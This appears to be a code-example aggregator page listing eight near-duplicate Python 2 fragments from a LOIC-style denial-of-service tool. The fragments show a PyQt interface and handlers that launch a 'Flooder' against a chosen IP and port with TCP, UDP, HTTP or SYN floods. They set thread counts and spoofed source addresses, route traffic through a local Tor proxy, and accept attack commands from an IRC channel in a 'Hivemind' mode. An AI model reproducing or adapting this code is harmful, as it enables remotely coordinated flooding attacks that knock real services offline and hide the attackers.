Esempio n. 1
0
    def lazerStartHook(self, event):
        print "starting lazor"
        if self.status == START:
            if self.flooder != None:
                self.flooder.stop()

            if self.targetip == None or self.port == None:
                print "no target set"
                return

            if self.timeout == None:
                print "Missing required timeout"
                return
            if len(self.method) == 0:
                print "Missing required method"
                return
            if self.threads == None:
                print "Missing required thread amount"
                return

            self.flooder = Flooder(self.targetip, self.port, self.timeout,
                                   self.method, self.threads, self.subsite,
                                   self.message, self.random, self.wait,
                                   self.srchost, self.srcport, "127.0.0.1",
                                   9050)
            self.flooder.start()
Esempio n. 2
0
def lazerStartHook(event):
    global status, flooder, targetip, targethost, timeout, subsite, message, port, method, threads, wait, random, speed
    print "FIRING MAH LAZ000000R!"
    if status == START:
        if flooder != None:
            flooder.stop()

        if (targetip == None and targethost == None) or port == None:
            print "no target set"
            return

        if timeout == None:
            print "Missing required timeout"
            return
        if len(method) == 0:
            print "Missing required method"
            return
        if threads == None:
            print "Missing required thread amount"
            return

        host = None
        if targetip == None:
            host = targethost
        else:
            host = targetip

        flooder = Flooder(host, port, timeout, method, threads, subsite, message, random, wait, srchost, srcport)
        flooder.start()
Esempio n. 3
0
    def manualStart(self):
        tab = self.manTab

        if self.flooder != None:
            msgBox = QMessageBox()
            msgBox.setText("Hivemind is already running.")
            msgBox.setInformativeText("Do you want to start anyway")
            msgBox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)
            msgBox.sethivemindButton(QMessageBox.Cancel)
            ret = msgBox.exec_()

            if ret == QMessageBox.Cancel:
                return

            self.flooder.stop()

        self.targetip = socket.gethostbyname(str(tab.target.text()))
        self.port = int(tab.port.text())
        self.message = str(tab.message.text())
        self.method = []
        self.threads = int(self.settTab.maxThreads.text())
        if tab.tcpMethod.isChecked():
            self.method.append(TCP_METHOD)
        if tab.udpMethod.isChecked():
            self.method.append(UDP_METHOD)
        if tab.httpMethod.isChecked():
            self.method.append(HTTP_METHOD)
        if tab.synMethod.isChecked():
            self.method.append(SYN_METHOD)
        self.random = False
        self.wait = True
        self.srchost = str(tab.srchost.text())
        self.srcport = int(tab.srcport.text())

        self.flooder = Flooder(self.targetip, self.port, self.timeout,
                               self.method, self.threads, self.subsite,
                               self.message, self.random, self.wait,
                               self.srchost, self.srcport, "127.0.0.1", 9050)
        self.flooder.start()
Esempio n. 4
0
def lazerStartHook(event):
    global status, flooder, targetip, timeout, subsite, message, port, method, threads, wait, random, speed, srchost, srcport, socks5ip, socks5port
    print "FIRING MAH LAZ000000R!"
    if status == START:
        if flooder != None:
            flooder.stop()

        if targetip == None or port == None:
            print "no target set"
            return

        if timeout == None:
            print "Missing required timeout"
            return
        if len(method) == 0:
            print "Missing required method"
            return
        if threads == None:
            print "Missing required thread amount"
            return

        flooder = Flooder(targetip, port, timeout, method, threads, subsite, message, random, wait, srchost, srcport, socks5ip, socks5port)
        flooder.start()
Esempio n. 5
0
    def lazerStartHook(self, event):
        print "starting lazor"
        if self.status == START:
            if self.flooder != None:
                self.flooder.stop()

            if self.targetip == None or self.port == None:
                print "no target set"
                return

            if self.timeout == None:
                print "Missing required timeout"
                return
            if len(self.method) == 0:
                print "Missing required method"
                return
            if self.threads == None:
                print "Missing required thread amount"
                return

            self.flooder = Flooder(self.targetip, self.port, self.timeout, self.method, self.threads, self.subsite, self.message, self.random, self.wait, self.srchost, self.srcport, "127.0.0.1", 9050)
            self.flooder.start()
Esempio n. 6
0
    def manualStart(self):
        tab = self.manTab

        if self.flooder != None:
            msgBox = QMessageBox();
            msgBox.setText("Hivemind is already running.")
            msgBox.setInformativeText("Do you want to start anyway")
            msgBox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)
            msgBox.sethivemindButton(QMessageBox.Cancel)
            ret = msgBox.exec_()

            if ret == QMessageBox.Cancel:
                return

            self.flooder.stop()

        self.targetip = socket.gethostbyname(str(tab.target.text()))
        self.port = int(tab.port.text())
        self.message = str(tab.message.text())
        self.method = []
        self.threads = int(self.settTab.maxThreads.text())
        if tab.tcpMethod.isChecked():
            self.method.append(TCP_METHOD)
        if tab.udpMethod.isChecked():
            self.method.append(UDP_METHOD)
        if tab.httpMethod.isChecked():
            self.method.append(HTTP_METHOD)
        if tab.synMethod.isChecked():
            self.method.append(SYN_METHOD)
        self.random = False
        self.wait = True
        self.srchost = str(tab.srchost.text())
        self.srcport = int(tab.srcport.text())

        self.flooder = Flooder(self.targetip, self.port, self.timeout, self.method, self.threads, self.subsite, self.message, self.random, self.wait, self.srchost, self.srcport, "127.0.0.1", 9050)
        self.flooder.start()
Esempio n. 7
0
class main(QMainWindow):
    def __init__(self):
        QMainWindow.__init__(self)

        self.irc = None
        self.flooder = None

        self.server = None
        self.port = None
        self.channel = None

        self.timeout = 9001
        self.subsite = "/"
        self.port = 80
        self.message = "U dun goofed"
        self.method = []
        self.method.append(TCP_METHOD)
        self.speed = 0
        self.random = False
        self.srchost = "192.168.0.1"
        self.srcport = 4321
        self.status = WAITING

        getEventManager().addListener(LAZER_RECV, self.lazerParseHook)
        getEventManager().addListener(START_LAZER, self.lazerStartHook)
        getEventManager().addListener(IRC_RESTART, self.restartIRCHook)

        getEventManager().start()

        self.tabWidget = QTabWidget()
        self.defTab = hivemindTab()
        self.manTab = manualTab()
        self.statTab = statisticsTab(self)
        self.settTab = settingsTab()
        self.tabWidget.addTab(self.defTab, "Hivemind")
        self.tabWidget.addTab(self.manTab, "Manual")
        self.tabWidget.addTab(self.statTab, "Statistics")
        self.tabWidget.addTab(self.settTab, "Settings")

        self.defTab.start.clicked.connect(self.hivemindStart)
        self.manTab.start.clicked.connect(self.manualStart)

        self.setCentralWidget(self.tabWidget)

    def stop(self):
        if self.flooder:
            self.flooder.stop()
        if self.irc:
            self.irc.stop()
        getEventManager().stop()

    def hivemindStart(self):
        if self.irc != None:
            msgBox = QMessageBox()
            msgBox.setText("Hivemind is already running.")
            if self.server == str(self.defTab.server):
                msgBox.setInformativeText("Do you want to change channel?")
            else:
                msgBox.setInformativeText("Do you want to change server?")
            msgBox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)
            msgBox.sethivemindButton(QMessageBox.Cancel)
            ret = msgBox.exec_()

            if ret == QMessageBox.Cancel:
                return

            if self.server == str(self.defTab.server.text()):
                self.channel = str(self.defTab.channel.text())
                self.irc.changeChannel(str(self.defTab.channel.text()))
            else:
                irc.disconnect()
                irc.host = str(self.defTab.server.text())
                irc.port = int(self.defTab.port.text())
                irc.channel = str(self.defTab.channel.text())
                irc.connect()

        self.server = str(self.defTab.server.text())
        self.port = int(self.defTab.port.text())
        self.channel = str(self.defTab.channel.text())

        if self.irc == None:
            self.irc = IRC(self.server, self.port, self.channel)

    def manualStart(self):
        tab = self.manTab

        if self.flooder != None:
            msgBox = QMessageBox()
            msgBox.setText("Hivemind is already running.")
            msgBox.setInformativeText("Do you want to start anyway")
            msgBox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)
            msgBox.sethivemindButton(QMessageBox.Cancel)
            ret = msgBox.exec_()

            if ret == QMessageBox.Cancel:
                return

            self.flooder.stop()

        self.targetip = socket.gethostbyname(str(tab.target.text()))
        self.port = int(tab.port.text())
        self.message = str(tab.message.text())
        self.method = []
        self.threads = int(self.settTab.maxThreads.text())
        if tab.tcpMethod.isChecked():
            self.method.append(TCP_METHOD)
        if tab.udpMethod.isChecked():
            self.method.append(UDP_METHOD)
        if tab.httpMethod.isChecked():
            self.method.append(HTTP_METHOD)
        if tab.synMethod.isChecked():
            self.method.append(SYN_METHOD)
        self.random = False
        self.wait = True
        self.srchost = str(tab.srchost.text())
        self.srcport = int(tab.srcport.text())

        self.flooder = Flooder(self.targetip, self.port, self.timeout,
                               self.method, self.threads, self.subsite,
                               self.message, self.random, self.wait,
                               self.srchost, self.srcport, "127.0.0.1", 9050)
        self.flooder.start()

    def lazerParseHook(self, event):
        s = []
        for x in event.arg:
            t = x.split('=')
            if len(t) > 1:
                for y in t:
                    s.append(y)
            else:
                if t[0] == "start":
                    self.status = START
                elif t[0] == "default":  #needs to be fleshed out more
                    self.timeout = 9001
                    self.subsite = "/"
                    self.port = 80
                    self.message = "U dun goofed"
                    self.method.append(TCP_METHOD)
                    self.speed = 0
                    self.random = False
                    self.srchost = "192.168.0.1"
                    self.srcport = 4321

        for x in range(0, len(s), 2):
            if s[x] == "targetip" or s[x] == "targethost":
                self.targetip = socket.gethostbyname(s[x + 1])
            elif s[x] == "timeout":
                if s[x + 1].isdigit():
                    timeout = int(s[x + 1])
                    if (timeout < -1):
                        self.timeout = None
            elif s[x] == "subsite":
                self.subsite = s[x + 1]
            elif s[x] == "message":
                self.message = s[x + 1]
            elif s[x] == "port":
                if s[x + 1].isdigit():
                    port = int(s[x + 1])
                    if port > 65535:
                        self.port = None
                    elif port < 1:
                        self.port = None
                    else:
                        self.port = port
            elif s[x] == "method":
                methodTemp = s[x + 1].split(",")
                self.method = []
                for x in methodTemp:
                    if x.upper() == "UDP":
                        self.method.append(UDP_METHOD)
                    elif x.upper() == "HTTP":
                        self.method.append(HTTP_METHOD)
                    elif x.upper() == "SYN":
                        self.method.append(SYN_METHOD)
                    else:
                        self.method.append(TCP_METHOD)
            elif s[x] == "threads":
                if s[x + 1].isdigit():
                    threads = int(s[x + 1])
                    if threads > int(self.settTab.maxThreads.text(
                    )) or self.settTab.overrideThreads.isChecked():
                        self.threads = int(self.settTab.maxThreads.text())
                    elif threads < 1:
                        self.threads = 1
                    else:
                        self.threads = threads
            elif s[x] == "wait":
                wait = s[x + 1]
                if wait.lower() == "true":
                    self.wait = True
                else:
                    self.wait = False
            elif s[x] == "random":
                random = s[x + 1]
                if random.lower() == "true":
                    self.random = True
                else:
                    self.random = None
            elif s[x] == "speed":
                if s[x + 1].isdigit():
                    speed = int(s[x + 1])
                    if speed > 20:
                        self.speed = 20
                    elif speed < 1:
                        self.speed = 1
                    else:
                        self.speed = speed
            elif s[x] == "srchost":
                self.srchost = s[x + 1]
            elif s[x] == "srcport":
                if s[x + 1].isdigit():
                    srcport = int(s[x + 1])
                    if srcport < -1 or srcport > 65535:
                        self.srcport = None
                    else:
                        self.srcport = srcport

        if self.status == START:
            event = Event(START_LAZER, None)
            getEventManager().signalEvent(event)
        else:
            self.status = WAITING

    def lazerStartHook(self, event):
        print "starting lazor"
        if self.status == START:
            if self.flooder != None:
                self.flooder.stop()

            if self.targetip == None or self.port == None:
                print "no target set"
                return

            if self.timeout == None:
                print "Missing required timeout"
                return
            if len(self.method) == 0:
                print "Missing required method"
                return
            if self.threads == None:
                print "Missing required thread amount"
                return

            self.flooder = Flooder(self.targetip, self.port, self.timeout,
                                   self.method, self.threads, self.subsite,
                                   self.message, self.random, self.wait,
                                   self.srchost, self.srcport, "127.0.0.1",
                                   9050)
            self.flooder.start()

    def restartIRCHook(self, event):
        time.sleep(5)
        irc.connect()
Esempio n. 8
0
class main(QMainWindow):

    def __init__(self):
        QMainWindow.__init__(self)
    
        self.irc = None
        self.flooder = None

        self.server = None
        self.port = None
        self.channel = None

        self.timeout = 9001
        self.subsite = "/"
        self.port = 80
        self.message = "U dun goofed"
        self.method = []
        self.method.append(TCP_METHOD)
        self.speed = 0
        self.random = False
        self.srchost = "192.168.0.1"
        self.srcport = 4321
        self.status = WAITING

        getEventManager().addListener(LAZER_RECV, self.lazerParseHook)
        getEventManager().addListener(START_LAZER, self.lazerStartHook)
        getEventManager().addListener(IRC_RESTART, self.restartIRCHook)

        getEventManager().start()

        self.tabWidget = QTabWidget()
        self.defTab = hivemindTab()
        self.manTab = manualTab()
        self.statTab = statisticsTab(self)
        self.settTab = settingsTab()
        self.tabWidget.addTab(self.defTab, "Hivemind")
        self.tabWidget.addTab(self.manTab, "Manual")
        self.tabWidget.addTab(self.statTab, "Statistics")
        self.tabWidget.addTab(self.settTab, "Settings")

        self.defTab.start.clicked.connect(self.hivemindStart)
        self.manTab.start.clicked.connect(self.manualStart)

        self.setCentralWidget(self.tabWidget)

    def stop(self):
        if self.flooder:
            self.flooder.stop()
        if self.irc:
            self.log('Disconnecting...')
            self.irc.stop()
            self.log('Offline')
        getEventManager().stop()

    def log(self,text):
        self.defTab.log(text)

    def hivemindStart(self):
        self.log('Logging in')
        if self.irc != None:
            msgBox = QMessageBox();
            msgBox.setText("Hivemind is already running.")
            if self.server == str(self.defTab.server):
                msgBox.setInformativeText("Do you want to change channel?")
            else:
                msgBox.setInformativeText("Do you want to change server?")
            msgBox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)
            ret = msgBox.exec_()

            if ret == QMessageBox.Cancel:
                return

            if self.server == str(self.defTab.server.text()):
                self.channel = str(self.defTab.channel.text())
                self.irc.changeChannel(str(self.defTab.channel.text()))
            else:
                self.irc.disconnect()
                self.irc.host = str(self.defTab.server.text())
                self.irc.port = int(self.defTab.port.text())
                self.irc.channel = str(self.defTab.channel.text())
                self.log('Connecting')
                self.irc.connect()
                self.log('Online')

        self.server = str(self.defTab.server.text())
        self.port = int(self.defTab.port.text())
        self.channel = str(self.defTab.channel.text())

        if self.irc == None:
            self.irc = IRC(self.server, self.port, self.channel)
            self.irc.online_hook = self.is_online


    def is_online(self):
        self.log('Online')

    def manualStart(self):
        tab = self.manTab

        if self.flooder != None:
            msgBox = QMessageBox();
            msgBox.setText("Hivemind is already running.")
            msgBox.setInformativeText("Do you want to start anyway")
            msgBox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)
            msgBox.sethivemindButton(QMessageBox.Cancel)
            ret = msgBox.exec_()

            if ret == QMessageBox.Cancel:
                return

            self.flooder.stop()

        self.targetip = socket.gethostbyname(str(tab.target.text()))
        self.port = int(tab.port.text())
        self.message = str(tab.message.text())
        self.method = []
        self.threads = int(self.settTab.maxThreads.text())
        if tab.tcpMethod.isChecked():
            self.method.append(TCP_METHOD)
        if tab.udpMethod.isChecked():
            self.method.append(UDP_METHOD)
        if tab.httpMethod.isChecked():
            self.method.append(HTTP_METHOD)
        if tab.synMethod.isChecked():
            self.method.append(SYN_METHOD)
        self.random = False
        self.wait = True
        self.srchost = str(tab.srchost.text())
        self.srcport = int(tab.srcport.text())

        self.flooder = Flooder(self.targetip, self.port, self.timeout, self.method, self.threads, self.subsite, self.message, self.random, self.wait, self.srchost, self.srcport, "127.0.0.1", 9050)
        self.flooder.start()

    def lazerParseHook(self, event):
        s = []
        for x in event.arg:
            t = x.split('=')
            if len(t) > 1:
                for y in t:
                    s.append(y)
            else:
                if t[0] == "start":
                    self.status = START
                elif t[0] == "default": #needs to be fleshed out more
                    self.timeout = 9001
                    self.subsite = "/"
                    self.port = 80
                    self.message = "U dun goofed"
                    self.method.append(TCP_METHOD)
                    self.speed = 0
                    self.random = False
                    self.srchost = "192.168.0.1"
                    self.srcport = 4321

        for x in range(0, len(s), 2):
            if s[x] == "targetip" or s[x] == "targethost":
                self.targetip = socket.gethostbyname(s[x+1])
            elif s[x] == "timeout":
                if s[x+1].isdigit():
                    timeout = int(s[x+1])
                    if(timeout < -1):
                        self.timeout = None
            elif s[x] == "subsite":
                self.subsite = s[x+1]
            elif s[x] == "message":
                self.message = s[x+1]
            elif s[x] == "port":
                if s[x+1].isdigit():
                    port = int(s[x+1])
                    if port > 65535:
                        self.port = None
                    elif port < 1:
                        self.port = None
                    else:
                        self.port = port
            elif s[x] == "method":
                methodTemp = s[x+1].split(",")
                self.method = []
                for x in methodTemp:
                    if x.upper() == "UDP":
                        self.method.append(UDP_METHOD)
                    elif x.upper() == "HTTP":
                        self.method.append(HTTP_METHOD)
                    elif x.upper() == "SYN":
                        self.method.append(SYN_METHOD)
                    else:
                        self.method.append(TCP_METHOD)
            elif s[x] == "threads":
                if s[x+1].isdigit():
                    threads = int(s[x+1])
                    if threads > int(self.settTab.maxThreads.text()) or self.settTab.overrideThreads.isChecked():
                        self.threads = int(self.settTab.maxThreads.text())
                    elif threads < 1:
                        self.threads = 1
                    else:
                        self.threads = threads
            elif s[x] == "wait":
                wait = s[x+1]
                if wait.lower() == "true":
                    self.wait = True
                else:
                    self.wait = False
            elif s[x] == "random":
                random = s[x+1]
                if random.lower() == "true":
                    self.random = True
                else:
                    self.random = None
            elif s[x] == "speed":
                if s[x+1].isdigit():
                    speed = int(s[x+1])
                    if speed > 20:
                        self.speed = 20
                    elif speed < 1:
                        self.speed = 1
                    else:
                        self.speed = speed
            elif s[x] == "srchost":
                self.srchost = s[x+1]
            elif s[x] == "srcport":
                if s[x+1].isdigit():
                    srcport = int(s[x+1])
                    if srcport < -1 or srcport > 65535:
                        self.srcport = None
                    else:
                        self.srcport = srcport

        if self.status == START:
            self.log('Flood')
            event = Event(START_LAZER, None)
            getEventManager().signalEvent(event)
        else:
            self.status = WAITING

    def lazerStartHook(self, event):
        self.log( "starting lazor" )
        if self.status == START:
            if self.flooder != None:
                self.flooder.stop()

            if self.targetip == None or self.port == None:
                self.log( "no target set")
                return

            if self.timeout == None:
                self.log("Missing required timeout")
                return
            if len(self.method) == 0:
                self.log("Missing required method")
                return
            if self.threads == None:
                self.log( "Missing required thread amount")
                return

            self.log('Begin Flood')

            self.flooder = Flooder(self.targetip, self.port, self.timeout, self.method, self.threads, self.subsite, self.message, self.random, self.wait, self.srchost, self.srcport, "127.0.0.1", 9050)
            self.flooder.start()

    def restartIRCHook(self, event):
        time.sleep(5)
        self.log('Reconnecting')
        irc.connect()
        self.log('Online')